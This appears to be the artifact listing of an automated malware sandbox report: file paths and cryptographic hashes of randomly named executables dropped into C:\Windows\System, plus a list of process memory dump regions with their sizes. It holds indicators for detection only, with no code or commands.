1e5c393bd12ef1489b914ea9cebe6f21f57dc8e8

SHA256
5cbc5c2d3c2b055e1a5068d4c008b0b3e1bc3c81ae1cef9ce6d0905e2615e1b6

SHA512
7ef1ffc7b0307da1ca724c0c64f6cfddadc3af889383d4c66312f9ee02524c85a1278e463857d18fd230820f49e209f4af5f583c92e5b1c595746fdeee7e66c6

Download Submit
C:\Windows\System\ZgSOkAs.exe

Filesize
2.2MB

MD5
db91c6bee8e260fd0262bd4f26949c14

SHA1
127b677d44822b21c2df26a8b90729ab7a1958fa

SHA256
9a40447e41d0df14287440d17baa136c2546c5015eaa1a1728f9060abfd73bdf

SHA512
3882777b0a3f59600643f4debc6d27d83193f28111cc76053f234b34571a826b03dbc42c42dbb43a482e27bcf6f8db5dba20f7e8f8fd1cde668953cfdb7467b0

Download Submit
C:\Windows\System\bldePlY.exe

Filesize
2.2MB

MD5
722de5aebb37cc3f42f19c1e4d30819b

SHA1
31e02cdae7bb574ba19699bf70bd091edcca8acb

SHA256
c92c2ca3d650ed5ebb49918753ed2885698642a45c000ca8b835004c7652cd00

SHA512
0c05c8371cf1aa8205024bd4b42cf0ef630f00387706bb439dd76b868efc93e7d2e4695252cc402d62b2df3ca1bd6949921bfe076d8c53782ee1edfe1be758ba

Download Submit
C:\Windows\System\dTllJDE.exe

Filesize
2.2MB

MD5
9edb4d2ab8e463b6ae2de1b15cd68887

SHA1
ddfbf5746e28f7b5c38ff93c29dae0a472eb5c15

SHA256
f46a72d0ba6d74c0dbc2bf01d12160ee18419648bfbb998355ba33ef28dd234a

SHA512
398686c91c1d884b40d7ec0a36f3f2dfc9aab430a861a7e9bd7114ee90900971fd225bb4c315e997620acacaacb1e9ffc3f0834fee57cd23f647534e66cf7a6e

Download Submit
C:\Windows\System\gKppDmm.exe

Filesize
2.2MB

MD5
9e38c0a0d4371d7c2f782590100888fe

SHA1
6b9a30056b689779cca9c7d4d1514d56e338ca25

SHA256
ea74d215451b8ceb283a126b58d8ff876333dd02e36d4f2b891809f32c0fec4f

SHA512
ed4908c16b1c5c4ea74c7a128c20c674f79844d01ca2f17204476266f894150205270a20a535ca79d59efe1b7066a10b20b8a377845c37dc31e3e2708afbb64e

Download Submit
C:\Windows\System\gxZucBG.exe

Filesize
2.2MB

MD5
6ef6fc36ba4a7ba0ede4255eae5be7bf

SHA1
5392f18d9bdd6282bfbd21aa5b5fe9ca27b24c2f

SHA256
f63b5523cdb98fcbb6a36944edaa15cb01009ec79e0c6c6da7de3610c0a6781a

SHA512
bc5b033af3ae3f7eaf06e0d7cf310d7be9aecdd45298c71230ce83e5fa6956be206fed7ca9000f66e57053a8159bba83ccfbf83079c1d0308108a7a336f871d9

Download Submit
C:\Windows\System\hWeORKT.exe

Filesize
2.2MB

MD5
34ab5ca697b1da828ecaa31a277ff842

SHA1
ab71e4d968acc3846db8ad889a4644e94739ef22

SHA256
1d5211f91696fb194bcaeb02202e6193b5780aeb79bafaa6bd2114dde9cca486

SHA512
020991eee7aff6eb5f93e30f122218f8e9c4adae2516ec806492eaf3ed1b975b7df1896f1e45daa10e264b245518ec5aee84b84bfcef5af55aaf4109744e610b

Download Submit
C:\Windows\System\hpQTQiE.exe

Filesize
2.2MB

MD5
07840644cc87e5c1b6c532fc1dfc02e2

SHA1
798238fc1315f22076b2f534deedc491c5822663

SHA256
f15eb707b0fa0c23e3d7f1a2eeb7ab19a5dc66e1ce8e099feae3ab835ac4633e

SHA512
e51f91b82c4b0394c195858fa12fca2f1071212ed74cb439e86263ef75b49ba9014f2a29adb9716548cb03cc3f11fb7795df6581f22622c19be47e96030ecd26

Download Submit
C:\Windows\System\imnCsYN.exe

Filesize
2.2MB

MD5
e96792e9b29e464b893d263b100c0ac3

SHA1
88b63493b5771cdfb410323a02a46b09e33c928f

SHA256
6b91abf2232ddaa2f193b6aa1339d5126d1c1f2b5ded4106ebf731c40b4a9948

SHA512
1689fca6a213b4dee7c6357d85906f44da46ed56586185f4553f5d9564c76ba3b077b86d04cab7f35f2a87b860487504caa0aae3b84c6559746f7743ca21ef22

Download Submit
C:\Windows\System\jilNzuJ.exe

Filesize
2.2MB

MD5
7847859d3b6109c2fcc28b55d9c36e14

SHA1
e7fdc3b4e64fca57d0e8e5e6aef9a4d1a59749bd

SHA256
52cdf9a9d6df5684e9430dfd7a42cc4cf3fb155ddcfd40637719de8208d51e4e

SHA512
b9f482784dfe49f12fbf41b8366effe0634eb5f8cd2d7c29d7a771bd8396b6143222282616aa18e97d972e69b280e60d9d821b1057317481dbfff892be197b6f

Download Submit
C:\Windows\System\lINUypP.exe

Filesize
2.2MB

MD5
4c6b52864d3bd89ee7d1432d1e6ecc16

SHA1
b09d831f70b04629ae15799513903ecc6e45fb77

SHA256
8d08bd70b8d179c122a8443250c5e9aa9f32ac550bfcaba841d6075e2836ee52

SHA512
4f999907f44ce1e1cc3a887beabb45671de175f3946a061924f8ae73ef05d35321450168f0ed3bd6108a4fa0e2f686225d2507fdc10d896d8e0bdf83fd2bcfa9

Download Submit
C:\Windows\System\lolhYBC.exe

Filesize
2.2MB

MD5
a605e97f277691545f704618b2da815c

SHA1
bad8488cf9aabeccc2a0895fbc23ae978d0313fe

SHA256
bd0300f110a86adc40f87d9a9c4d0bac21682ad34c9930345bc0bfc4f6f6fd4b

SHA512
d42e8f695533e322d49dfc123375e387703324746481bdaf969b195dd0eca2e3e34223ee65df124ac244d897500e91b26e2703c2050c9aeca3d638b1c6ed3f99

Download Submit
C:\Windows\System\pUEsDHB.exe

Filesize
2.2MB

MD5
6602f17b873916fec77c34fa9a80b10d

SHA1
8bf366a07da8e3459851d0351da0f2f3139bbe39

SHA256
9a8f001f9f56d9dcd78b3e5a274bf0b968ddf755c51a512418805c721562d31a

SHA512
ef017cf8ee5b2f0fdb61d588847fbb237c78033c355653fe219a38866705b6caf678afa2004df7131c8cece9a8a85a1d0c2dcb7834625f9f3468a9b2836d5efb

Download Submit
C:\Windows\System\vumjLjM.exe

Filesize
2.2MB

MD5
997121103cd6b84dea5ea5195dfe976e

SHA1
6e328d98a9a48804ca213bbcd0cbe9337670cdc1

SHA256
f0d84e44f30ddf8802bed7db66d1470a69292f748636d23017e5f8908ab7f38b

SHA512
f8469b025a0a4a6fb9d2e269a9bd5f9a034ddae2fa49a456d22eeb1b2e91e25c037b595f0c812b3fad63f811f74fd75d9011f9d8edf37841b09d5402128ebb06

Download Submit
C:\Windows\System\yYjOvck.exe

Filesize
2.2MB

MD5
eac352cab1d7adaab7577ebe346c4dd0

SHA1
445275ebf15f53fac541ab9f87ea164928e2e378

SHA256
fc7aae38178d7cdfbd763a3e353ff9d62d35d598076a233f0c26f995d8159faa

SHA512
e11c30e52b471aa496f23baf583ef9dbf6a7bca14fa7150bb3448ebb66787cc90193e830112cf6c689b2c697c14177262fcd7f97ef7bea545056f8634561a98b

Download Submit
C:\Windows\System\yikwhzb.exe

Filesize
2.2MB

MD5
b112b8620d6fcb1e8e267c85af41991a

SHA1
7bfcfa226f34e3a9990576a7f21eb1028b50efa4

SHA256
77ed808f6e482f55dc6f47330ca93d8bdfccc860795eacd27177df7414160b6a

SHA512
f5f8d56070346b13a2e76c7e29493cd73d8fc29712b0917985b6a2073df4cbb975bfd1885a5559af31743a522093bcdcf29186ed679cafd29fbf831d137ddbed

Download Submit
C:\Windows\System\zOSmorw.exe

Filesize
2.2MB

MD5
6ab6b65309438ec149559e5996dd6165

SHA1
8a2ddfb0cd5922f868e94a2b700424082c6aab67

SHA256
114d02078f4057ff9f2d2390de4c78ba3a94f17b71afb7cdb2b64bef879f046e

SHA512
7458f3336e28f87aa359d259ece9f76f8120f12defcb5ec9d858946860cb413782536f31b42e9d3cac1f3e2b62c88cc06c9fbc5f40f874fb9b7379dc66e0b45f

Download Submit
memory/536-42-0x00007FF712780000-0x00007FF712B72000-memory.dmp

Filesize
3.9MB

Download
memory/536-1821-0x00007FF712780000-0x00007FF712B72000-memory.dmp

Filesize
3.9MB

Download
memory/1472-114-0x00007FF744540000-0x00007FF744932000-memory.dmp

Filesize
3.9MB

Download
memory/1480-2185-0x00007FF7F3F50000-0x00007FF7F4342000-memory.dmp

Filesize
3.9MB

Download
memory/1480-115-0x00007FF7F3F50000-0x00007FF7F4342000-memory.dmp

Filesize
3.9MB

Download
memory/1752-1876-0x00007FF693710000-0x00007FF693B02000-memory.dmp

Filesize
3.9MB

Download
memory/1752-52-0x00007FF693710000-0x00007FF693B02000-memory.dmp

Filesize
3.9MB

Download
memory/1796-1613-0x00007FF6C3EA0000-0x00007FF6C4292000-memory.dmp

Filesize
3.9MB

Download
memory/1796-1996-0x00007FF6C3EA0000-0x00007FF6C4292000-memory.dmp

Filesize
3.9MB

Download
memory/2060-1884-0x00007FF7E5560000-0x00007FF7E5952000-memory.dmp

Filesize
3.9MB

Download
memory/2060-112-0x00007FF7E5560000-0x00007FF7E5952000-memory.dmp

Filesize
3.9MB

Download
memory/2176-1976-0x00007FF7EBC50000-0x00007FF7EC042000-memory.dmp

Filesize
3.9MB

Download
memory/2176-81-0x00007FF7EBC50000-0x00007FF7EC042000-memory.dmp

Filesize
3.9MB

Download
memory/2356-68-0x00007FF76B3F0000-0x00007FF76B7E2000-memory.dmp

Filesize
3.9MB

Download
memory/2356-2161-0x00007FF76B3F0000-0x00007FF76B7E2000-memory.dmp

Filesize
3.9MB

Download
memory/2532-116-0x00007FF6073F0000-0x00007FF6077E2000-memory.dmp

Filesize
3.9MB

Download
memory/2532-2188-0x00007FF6073F0000-0x00007FF6077E2000-memory.dmp

Filesize
3.9MB

Download
memory/2572-74-0x00007FF69B0E0000-0x00007FF69B4D2000-memory.dmp

Filesize
3.9MB

Download
memory/2572-1857-0x00007FF69B0E0000-0x00007FF69B4D2000-memory.dmp

Filesize
3.9MB

Download
memory/3320-106-0x00007FF6D2980000-0x00007FF6D2D72000-memory.dmp

Filesize
3.9MB

Download
memory/3648-2066-0x00007FF7AF7B0000-0x00007FF7AFBA2000-memory.dmp

Filesize
3.9MB

Download
memory/3648-1661-0x00007FF7AF7B0000-0x00007FF7AFBA2000-memory.dmp

Filesize
3.9MB

Download
memory/3900-1869-0x00007FF6C4460000-0x00007FF6C4852000-memory.dmp

Filesize
3.9MB

Download
memory/3900-113-0x00007FF6C4460000-0x00007FF6C4852000-memory.dmp

Filesize
3.9MB

Download
memory/4576-1599-0x00007FF72ED50000-0x00007FF72F142000-memory.dmp

Filesize
3.9MB

Download
memory/4576-2147-0x00007FF72ED50000-0x00007FF72F142000-memory.dmp

Filesize
3.9MB

Download
memory/4656-99-0x00007FF601D90000-0x00007FF602182000-memory.dmp

Filesize
3.9MB

Download
memory/4656-1819-0x00007FF601D90000-0x00007FF602182000-memory.dmp

Filesize
3.9MB

Download
memory/4744-2064-0x00007FF6D2440000-0x00007FF6D2832000-memory.dmp

Filesize
3.9MB

Download
memory/4752-0-0x00007FF65A7A0000-0x00007FF65AB92000-memory.dmp

Filesize
3.9MB

Download
memory/4752-1-0x0000015CB0CE0000-0x0000015CB0CF0000-memory.dmp

Filesize
64KB

Download
memory/4888-57-0x00007FF7FD020000-0x00007FF7FD412000-memory.dmp

Filesize
3.9MB

Download
memory/4888-2162-0x00007FF7FD020000-0x00007FF7FD412000-memory.dmp

Filesize
3.9MB

Download
memory/4896-1982-0x00007FF6DE8A0000-0x00007FF6DEC92000-memory.dmp

Filesize
3.9MB

Download
memory/4896-51-0x00007FF6DE8A0000-0x00007FF6DEC92000-memory.dmp

Filesize
3.9MB

Download
memory/4920-1908-0x00007FF783B40000-0x00007FF783F32000-memory.dmp

Filesize
3.9MB

Download
memory/4920-109-0x00007FF783B40000-0x00007FF783F32000-memory.dmp

Filesize
3.9MB

Download
memory/4988-1878-0x00007FF745DB0000-0x00007FF7461A2000-memory.dmp

Filesize
3.9MB

Download
memory/4988-60-0x00007FF745DB0000-0x00007FF7461A2000-memory.dmp

Filesize
3.9MB

Download
memory/5004-38-0x00007FFD774B0000-0x00007FFD77F71000-memory.dmp

Filesize
10.8MB

Download
memory/5004-21-0x00000234A0040000-0x00000234A0062000-memory.dmp

Filesize
136KB

Download
memory/5004-39-0x00000234B8290000-0x00000234B82A0000-memory.dmp

Filesize
64KB

Download
memory/5004-330-0x00000234B9850000-0x00000234B9FF6000-memory.dmp

Filesize
7.6MB

Download
memory/5092-78-0x00007FF6071C0000-0x00007FF6075B2000-memory.dmp

Filesize
3.9MB

Download
memory/5092-1864-0x00007FF6071C0000-0x00007FF6075B2000-memory.dmp

Filesize
3.9MB

Download